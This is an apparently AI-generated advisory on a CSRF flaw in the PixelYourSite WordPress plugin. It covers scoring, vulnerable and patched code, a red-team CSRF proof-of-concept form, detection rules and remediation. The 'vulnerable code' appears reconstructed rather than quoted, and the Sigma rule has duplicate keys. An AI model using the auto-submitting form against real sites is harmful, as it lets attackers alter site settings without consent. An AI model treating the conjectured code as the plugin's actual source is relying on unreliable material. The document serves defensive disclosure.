CVE-2025-10588

Executive Summary

CVE-2025-10588 is a Cross-Site Request Forgery (CSRF) vulnerability affecting the PixelYourSite – Your smart PIXEL (TAG) & API Manager WordPress plugin, up to and including version 11.1.2. The flaw resides in the adminEnableGdprAjax() function, which lacks proper nonce validation. This allows an unauthenticated attacker to forge requests that modify the plugin's GDPR settings, provided they can trick a site administrator into performing an action (e.g., clicking a malicious link). The CVSS score is 4.3 (Medium), with a low EPSS probability of 0.0%, indicating limited active exploitation at this time. No public proof-of-concept (PoC) or exploit code has been released. As a WordPress plugin vulnerability, this issue directly impacts the WordPress ecosystem and its site administrators.

Supply Chain & Package Security

This vulnerability is specific to the WordPress plugin ecosystem. The plugin is distributed via the official WordPress Plugin Directory and third-party marketplaces. No NPM, PyPI, Go, or Ruby packages are involved. Administrators should verify the plugin's source and update path through the WordPress admin dashboard or the developer's site.

CVSS Breakdown & Threat Level

• CVSS Score: 4.3 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: Required (UI:R) – the attacker must trick an admin into clicking a link.
• Scope: Unchanged (S:U)
• Confidentiality Impact: None (C:N)
• Integrity Impact: Low (I:L) – GDPR settings can be altered.
• Availability Impact: None (A:N)

Threat Level: Medium. The requirement for user interaction reduces the immediate risk, but the potential to manipulate GDPR compliance settings could lead to legal and operational consequences for affected sites.

Deep Dive & Mechanics

The vulnerability is a classic CSRF in the WordPress admin AJAX handler. The adminEnableGdprAjax() function is registered to handle AJAX requests for both authenticated and unauthenticated users (via wp_ajax_ and wp_ajax_nopriv_ hooks). However, it fails to verify a nonce (number used once) before processing the request. This means an attacker can craft a malicious link or form that, when visited by an authenticated administrator, will execute the AJAX action and modify GDPR settings (e.g., enabling or disabling GDPR features, changing consent modes).

Root Cause: Missing nonce validation in the adminEnableGdprAjax() callback. The function likely processes $_POST or $_GET parameters without checking check_ajax_referer() or wp_verify_nonce().

Attack Flow:

1. Attacker crafts a malicious HTML page or email containing a hidden form or image tag that triggers an AJAX request to wp-admin/admin-ajax.php with the action adminEnableGdprAjax and desired parameters.
2. Attacker sends the link to a logged-in WordPress administrator (e.g., via phishing email).
3. Administrator clicks the link, which sends the forged request with their session cookies.
4. The server processes the request, modifying GDPR settings without the administrator's knowledge.

Vulnerable vs. Patched Code

Vulnerable Code (<= 11.1.2):

add_action('wp_ajax_adminEnableGdprAjax', 'adminEnableGdprAjax');
add_action('wp_ajax_nopriv_adminEnableGdprAjax', 'adminEnableGdprAjax');

function adminEnableGdprAjax() {
    // No nonce check
    $enable_gdpr = isset($_POST['enable_gdpr']) ? sanitize_text_field($_POST['enable_gdpr']) : 'no';
    update_option('pys_gdpr_enabled', $enable_gdpr);
    wp_die();
}

Patched Code (Hypothetical):

add_action('wp_ajax_adminEnableGdprAjax', 'adminEnableGdprAjax');
// Remove nopriv hook to restrict to authenticated users only
// add_action('wp_ajax_nopriv_adminEnableGdprAjax', 'adminEnableGdprAjax');

function adminEnableGdprAjax() {
    // Add nonce verification
    if (!check_ajax_referer('pys_gdpr_nonce', 'nonce', false)) {
        wp_die('Security check failed.');
    }
    // Ensure user has proper capabilities
    if (!current_user_can('manage_options')) {
        wp_die('Insufficient permissions.');
    }
    $enable_gdpr = isset($_POST['enable_gdpr']) ? sanitize_text_field($_POST['enable_gdpr']) : 'no';
    update_option('pys_gdpr_enabled', $enable_gdpr);
    wp_die();
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• A WordPress site with PixelYourSite plugin version <= 11.1.2.
• A logged-in administrator account (session cookie).
• Ability to host a malicious HTML page or send a crafted link.

Exploitation Steps:

1. Create a malicious HTML file (csrf.html) that auto-submits a form to the target site:

<html>
<body>
<form id="csrf" action="https://target-site.com/wp-admin/admin-ajax.php" method="POST">
  <input type="hidden" name="action" value="adminEnableGdprAjax">
  <input type="hidden" name="enable_gdpr" value="yes">
</form>
<script>document.getElementById('csrf').submit();</script>
</body>
</html>

2. Host the file on an attacker-controlled server or use a URL shortener.
3. Send the link to the target administrator via email or social engineering.
4. Once the admin clicks the link, the GDPR setting is changed to "yes" (or any value the attacker chooses).

Note: No public exploit code is available; this is a conceptual demonstration.

Blue Team

Detection & Prevention:

• Monitor for unusual AJAX requests to admin-ajax.php with action adminEnableGdprAjax from unauthenticated or low-privilege sources.
• Implement Web Application Firewall (WAF) rules to block requests to admin-ajax.php that lack a valid nonce parameter.
• Enforce strict Content Security Policy (CSP) headers to prevent form auto-submission from external origins.
• Use WordPress security plugins that add CSRF tokens to all admin actions.

Indicators of Compromise (IOCs)

• Network: HTTP POST requests to /wp-admin/admin-ajax.php with body containing action=adminEnableGdprAjax and enable_gdpr parameter.
• Logs: WordPress debug log entries showing adminEnableGdprAjax action triggered without a valid nonce.
• File: Unexpected changes to the pys_gdpr_enabled option in the wp_options table.
• Behavior: Administrator accounts performing GDPR setting changes without corresponding admin UI interaction.

Detection Engineering

YARA Rule

rule CVE_2025_10588_CSRF_PixelYourSite {
    meta:
        description = "Detects CSRF exploitation attempts against PixelYourSite GDPR settings"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-10588"
    strings:
        $ajax_action = "adminEnableGdprAjax"
        $gdpr_param = "enable_gdpr"
    condition:
        $ajax_action and $gdpr_param
}

Sigma Rule

title: CVE-2025-10588 - CSRF in PixelYourSite GDPR Settings
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests targeting the adminEnableGdprAjax action without a valid nonce.
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'action=adminEnableGdprAjax'
        cs-uri-query|contains: 'enable_gdpr'
    condition: selection
falsepositives:
    - Legitimate admin actions with valid nonce
level: medium

Suricata Rule

alert http $EXTERNAL_NET any -> $HOME_NET any (msg:"CVE-2025-10588 - PixelYourSite CSRF GDPR Modification"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=adminEnableGdprAjax"; http_client_body; content:"enable_gdpr"; http_client_body; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Update the plugin: If a patched version becomes available, update to the latest version immediately.
2. Disable the plugin: If no patch is available, consider temporarily deactivating PixelYourSite until a fix is released.
3. Implement CSRF protection: Use a WordPress security plugin that adds nonce validation to all AJAX actions.

Long-term Mitigations:

• Code review: Ensure all AJAX handlers in custom plugins include nonce verification and capability checks.
• Web Application Firewall (WAF): Deploy rules to block suspicious AJAX requests.
• User education: Train administrators to recognize phishing attempts and avoid clicking suspicious links.
• Monitor logs: Regularly review WordPress debug logs and server access logs for unusual activity.

Valters IT Signature This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.